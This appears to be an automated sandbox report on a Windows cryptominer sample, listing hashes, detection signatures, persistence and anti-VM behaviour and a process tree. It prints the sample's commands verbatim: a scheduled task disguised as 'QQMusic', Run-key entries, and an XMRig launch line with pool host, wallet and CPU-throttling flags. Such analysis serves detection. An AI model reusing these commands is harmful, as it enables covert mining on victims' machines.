Analysis
-
max time kernel
150s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
14-06-2024 09:27
Static task
static1
Behavioral task
behavioral1
Sample
2d927fdb462570728a981443bf36d19f.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
2d927fdb462570728a981443bf36d19f.exe
Resource
win10v2004-20240508-en
General
-
Target
2d927fdb462570728a981443bf36d19f.exe
-
Size
9.0MB
-
MD5
2d927fdb462570728a981443bf36d19f
-
SHA1
eb4f351d937729b14a196bf228ba12a2ff07e73e
-
SHA256
d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
-
SHA512
efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9
-
SSDEEP
196608:rhHMBGC3PtXtT+Was8/wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G02wuwasMdJOnZKVSaaNZOn
Malware Config
Signatures
-
XMRig Miner payload 17 IoCs
Processes:
resource yara_rule behavioral1/memory/1040-135-0x000000013FA30000-0x0000000140074000-memory.dmp xmrig behavioral1/memory/1040-141-0x000000013FA30000-0x0000000140074000-memory.dmp xmrig behavioral1/memory/1968-146-0x000000013F990000-0x000000013FFD4000-memory.dmp xmrig behavioral1/memory/2888-152-0x000000013F4F0000-0x000000013FB34000-memory.dmp xmrig behavioral1/memory/2888-153-0x000000013F4F0000-0x000000013FB34000-memory.dmp xmrig behavioral1/memory/1508-158-0x000000013F790000-0x000000013FDD4000-memory.dmp xmrig behavioral1/memory/2132-163-0x000000013FE70000-0x00000001404B4000-memory.dmp xmrig behavioral1/memory/2132-165-0x000000013FE70000-0x00000001404B4000-memory.dmp xmrig behavioral1/memory/1000-169-0x000000013F6C0000-0x000000013FD04000-memory.dmp xmrig behavioral1/memory/1000-171-0x000000013F6C0000-0x000000013FD04000-memory.dmp xmrig behavioral1/memory/1988-177-0x000000013FA40000-0x0000000140084000-memory.dmp xmrig behavioral1/memory/1988-179-0x000000013FA40000-0x0000000140084000-memory.dmp xmrig behavioral1/memory/1196-184-0x000000013F320000-0x000000013F964000-memory.dmp xmrig behavioral1/memory/2664-189-0x000000013F470000-0x000000013FAB4000-memory.dmp xmrig behavioral1/memory/2664-191-0x000000013F470000-0x000000013FAB4000-memory.dmp xmrig behavioral1/memory/2564-196-0x000000013F4D0000-0x000000013FB14000-memory.dmp xmrig behavioral1/memory/1744-201-0x000000013FD90000-0x00000001403D4000-memory.dmp xmrig -
Executes dropped EXE 13 IoCs
Processes:
spreadTpqrst.exeSMB.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exe2d927fdb462570728a981443bf36d19f.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exespreadTpqrst.exepid process 1040 spreadTpqrst.exe 536 SMB.exe 1968 spreadTpqrst.exe 2888 spreadTpqrst.exe 1508 spreadTpqrst.exe 2132 spreadTpqrst.exe 1000 spreadTpqrst.exe 1988 spreadTpqrst.exe 2944 2d927fdb462570728a981443bf36d19f.exe 1196 spreadTpqrst.exe 2664 spreadTpqrst.exe 2564 spreadTpqrst.exe 1744 spreadTpqrst.exe -
Loads dropped DLL 2 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exepid process 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe -
Processes:
resource yara_rule C:\ProgramData\spreadTpqrst.exe upx behavioral1/memory/1040-10-0x000000013FA30000-0x0000000140074000-memory.dmp upx behavioral1/memory/1040-135-0x000000013FA30000-0x0000000140074000-memory.dmp upx behavioral1/memory/1040-141-0x000000013FA30000-0x0000000140074000-memory.dmp upx behavioral1/memory/1968-144-0x000000013F990000-0x000000013FFD4000-memory.dmp upx behavioral1/memory/1968-146-0x000000013F990000-0x000000013FFD4000-memory.dmp upx behavioral1/memory/2888-149-0x000000013F4F0000-0x000000013FB34000-memory.dmp upx behavioral1/memory/2888-152-0x000000013F4F0000-0x000000013FB34000-memory.dmp upx behavioral1/memory/2888-153-0x000000013F4F0000-0x000000013FB34000-memory.dmp upx behavioral1/memory/1508-156-0x000000013F790000-0x000000013FDD4000-memory.dmp upx behavioral1/memory/1508-158-0x000000013F790000-0x000000013FDD4000-memory.dmp upx behavioral1/memory/2132-161-0x000000013FE70000-0x00000001404B4000-memory.dmp upx behavioral1/memory/2132-163-0x000000013FE70000-0x00000001404B4000-memory.dmp upx behavioral1/memory/2132-165-0x000000013FE70000-0x00000001404B4000-memory.dmp upx behavioral1/memory/1000-169-0x000000013F6C0000-0x000000013FD04000-memory.dmp upx behavioral1/memory/1000-171-0x000000013F6C0000-0x000000013FD04000-memory.dmp upx behavioral1/memory/1988-174-0x000000013FA40000-0x0000000140084000-memory.dmp upx behavioral1/memory/1988-177-0x000000013FA40000-0x0000000140084000-memory.dmp upx behavioral1/memory/1988-179-0x000000013FA40000-0x0000000140084000-memory.dmp upx behavioral1/memory/1196-182-0x000000013F320000-0x000000013F964000-memory.dmp upx behavioral1/memory/1196-184-0x000000013F320000-0x000000013F964000-memory.dmp upx behavioral1/memory/2664-187-0x000000013F470000-0x000000013FAB4000-memory.dmp upx behavioral1/memory/2664-189-0x000000013F470000-0x000000013FAB4000-memory.dmp upx behavioral1/memory/2664-191-0x000000013F470000-0x000000013FAB4000-memory.dmp upx behavioral1/memory/2564-194-0x000000013F4D0000-0x000000013FB14000-memory.dmp upx behavioral1/memory/2564-196-0x000000013F4D0000-0x000000013FB14000-memory.dmp upx behavioral1/memory/1744-199-0x000000013FD90000-0x00000001403D4000-memory.dmp upx behavioral1/memory/1744-201-0x000000013FD90000-0x00000001403D4000-memory.dmp upx -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2d927fdb462570728a981443bf36d19f.exe" 2d927fdb462570728a981443bf36d19f.exe Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2d927fdb462570728a981443bf36d19f.exe" 2d927fdb462570728a981443bf36d19f.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
2d927fdb462570728a981443bf36d19f.exe2d927fdb462570728a981443bf36d19f.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 2d927fdb462570728a981443bf36d19f.exe File opened (read-only) \??\VBoxMiniRdrDN 2d927fdb462570728a981443bf36d19f.exe -
Drops file in Program Files directory 1 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exedescription ioc process File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web\webbase.xml 2d927fdb462570728a981443bf36d19f.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
2d927fdb462570728a981443bf36d19f.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 2d927fdb462570728a981443bf36d19f.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 2d927fdb462570728a981443bf36d19f.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Gathers network information 2 TTPs 5 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exeipconfig.exeipconfig.exeipconfig.exeipconfig.exepid process 1140 ipconfig.exe 1620 ipconfig.exe 380 ipconfig.exe 2896 ipconfig.exe 2856 ipconfig.exe -
Kills process with taskkill 6 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 1540 taskkill.exe 2564 taskkill.exe 2480 taskkill.exe 1296 taskkill.exe 2084 taskkill.exe 2364 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exepid process 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe 1576 2d927fdb462570728a981443bf36d19f.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exepid process 1576 2d927fdb462570728a981443bf36d19f.exe -
Suspicious use of AdjustPrivilegeToken 38 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.exetaskkill.exespreadTpqrst.exespreadTpqrst.exetaskkill.exespreadTpqrst.exespreadTpqrst.exetaskkill.exespreadTpqrst.exespreadTpqrst.exetaskkill.exespreadTpqrst.exespreadTpqrst.exetaskkill.exespreadTpqrst.exespreadTpqrst.exetaskkill.exespreadTpqrst.exedescription pid process Token: SeDebugPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeBackupPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeSecurityPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeSecurityPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeBackupPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeSecurityPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeBackupPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeSecurityPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeBackupPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeSecurityPrivilege 1576 2d927fdb462570728a981443bf36d19f.exe Token: SeDebugPrivilege 2564 taskkill.exe Token: SeLockMemoryPrivilege 1040 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1040 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1968 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1968 spreadTpqrst.exe Token: SeDebugPrivilege 2480 taskkill.exe Token: SeLockMemoryPrivilege 2888 spreadTpqrst.exe Token: SeLockMemoryPrivilege 2888 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1508 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1508 spreadTpqrst.exe Token: SeDebugPrivilege 1296 taskkill.exe Token: SeLockMemoryPrivilege 2132 spreadTpqrst.exe Token: SeLockMemoryPrivilege 2132 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1000 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1000 spreadTpqrst.exe Token: SeDebugPrivilege 2084 taskkill.exe Token: SeLockMemoryPrivilege 1988 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1988 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1196 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1196 spreadTpqrst.exe Token: SeDebugPrivilege 2364 taskkill.exe Token: SeLockMemoryPrivilege 2664 spreadTpqrst.exe Token: SeLockMemoryPrivilege 2664 spreadTpqrst.exe Token: SeLockMemoryPrivilege 2564 spreadTpqrst.exe Token: SeLockMemoryPrivilege 2564 spreadTpqrst.exe Token: SeDebugPrivilege 1540 taskkill.exe Token: SeLockMemoryPrivilege 1744 spreadTpqrst.exe Token: SeLockMemoryPrivilege 1744 spreadTpqrst.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2d927fdb462570728a981443bf36d19f.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1576 wrote to memory of 2764 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2764 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2764 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2764 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2504 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2504 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2504 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2504 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 2764 wrote to memory of 2620 2764 cmd.exe schtasks.exe PID 2764 wrote to memory of 2620 2764 cmd.exe schtasks.exe PID 2764 wrote to memory of 2620 2764 cmd.exe schtasks.exe PID 2764 wrote to memory of 2620 2764 cmd.exe schtasks.exe PID 2504 wrote to memory of 2564 2504 cmd.exe taskkill.exe PID 2504 wrote to memory of 2564 2504 cmd.exe taskkill.exe PID 2504 wrote to memory of 2564 2504 cmd.exe taskkill.exe PID 2504 wrote to memory of 2564 2504 cmd.exe taskkill.exe PID 1576 wrote to memory of 2820 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2820 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2820 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2820 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 2820 wrote to memory of 2856 2820 cmd.exe ipconfig.exe PID 2820 wrote to memory of 2856 2820 cmd.exe ipconfig.exe PID 2820 wrote to memory of 2856 2820 cmd.exe ipconfig.exe PID 2820 wrote to memory of 2856 2820 cmd.exe ipconfig.exe PID 1576 wrote to memory of 1040 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1040 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1040 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1040 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 536 1576 2d927fdb462570728a981443bf36d19f.exe SMB.exe PID 1576 wrote to memory of 536 1576 2d927fdb462570728a981443bf36d19f.exe SMB.exe PID 1576 wrote to memory of 536 1576 2d927fdb462570728a981443bf36d19f.exe SMB.exe PID 1576 wrote to memory of 536 1576 2d927fdb462570728a981443bf36d19f.exe SMB.exe PID 1576 wrote to memory of 2840 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2840 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2840 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2840 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 1968 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1968 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1968 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1968 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 2840 wrote to memory of 2480 2840 cmd.exe taskkill.exe PID 2840 wrote to memory of 2480 2840 cmd.exe taskkill.exe PID 2840 wrote to memory of 2480 2840 cmd.exe taskkill.exe PID 2840 wrote to memory of 2480 2840 cmd.exe taskkill.exe PID 1576 wrote to memory of 2888 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 2888 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 2888 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 2888 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 756 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 756 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 756 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 756 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 756 wrote to memory of 1140 756 cmd.exe ipconfig.exe PID 756 wrote to memory of 1140 756 cmd.exe ipconfig.exe PID 756 wrote to memory of 1140 756 cmd.exe ipconfig.exe PID 756 wrote to memory of 1140 756 cmd.exe ipconfig.exe PID 1576 wrote to memory of 2436 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2436 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2436 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 2436 1576 2d927fdb462570728a981443bf36d19f.exe cmd.exe PID 1576 wrote to memory of 1508 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1508 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1508 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe PID 1576 wrote to memory of 1508 1576 2d927fdb462570728a981443bf36d19f.exe spreadTpqrst.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exe"C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exe"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Program Files directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exe /F2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exe /F3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ipconfig /flushdns2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\SMB.exeC:\ProgramData\SMB.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ipconfig /flushdns2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ipconfig /flushdns2⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ipconfig /flushdns2⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im spreadTpqrst.exe&&exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spreadTpqrst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\spreadTpqrst.exeC:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ipconfig /flushdns2⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
C:\Windows\system32\taskeng.exetaskeng.exe {F62A66D7-91C0-4B76-A6BD-8640E12FD15A} S-1-5-21-3691908287-3775019229-3534252667-1000:UOTHCPHQ\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exeC:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exe2⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
Network
